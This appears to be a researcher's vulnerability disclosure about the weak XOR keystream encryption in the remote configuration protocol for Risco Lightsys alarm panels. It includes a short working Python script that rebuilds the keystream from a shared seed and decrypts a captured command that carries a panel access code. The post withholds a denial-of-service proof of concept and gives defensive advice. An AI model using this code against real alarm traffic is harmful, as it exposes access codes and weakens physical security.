During a routine pen-test of an alarm receiving centre, a piece of software was found that was used to remotely configure Risco alarms.
This software communicates with alarm panels, sometimes over IP, sometimes over a mobile network. One of these panels is the Lightsys panel, which seems fairly common in the UK.
The encryption used by this protocol is token at best, and not suitable for securing communication across an untrusted network.
The protocol generates a psuedo-random sequence of numbers using a basic function. This is then XORed with the message to encrypt or decrypt.
Each panel has a “seed” that changes the encryption slightly. Because we have a partially known plaintext, you don’t need to know the seed to decrypt messages – it can just be determined. The seed tended to be the same across many panels.
numTable = [2, 4, 16, 32768]
PRNG_output = 
# This is the "Remote ID code" in the software
seed = 2
for i in range(0,255):
bit = 0
for j in range(0, 4):
if (seed & numTable[j]) > 0:
bit ^= 1
seed = seed << 1 | bit
PRNG_output.append(seed & 255)
# This has been captured from the network by tricking software into encrypting
# Message is 02RMT=1234 8EBC
# 02 is sequence number
# RMT is a command
# 1234 is the access code
msg = '353945620a804bc6dbe4b67ac0495503'.decode('hex')
plain = ''
for i in range(0, len(msg)):
plain += chr(ord(msg[i]) ^ PRNG_output[i])
print "Decrypted message: %s" % plain
A further proof of concept was developed that can send and receive commands with alarms, leading to a denial-of-service condition. I am not disclosing this as it can cause harm and is not the root cause of the problem.
This was reported to Risco on 7th August. As of yet, they have not indicated if they wish to fix this issue.
- Don’t roll your own encryption
- If you have a key, make sure it has enough length to actually improve security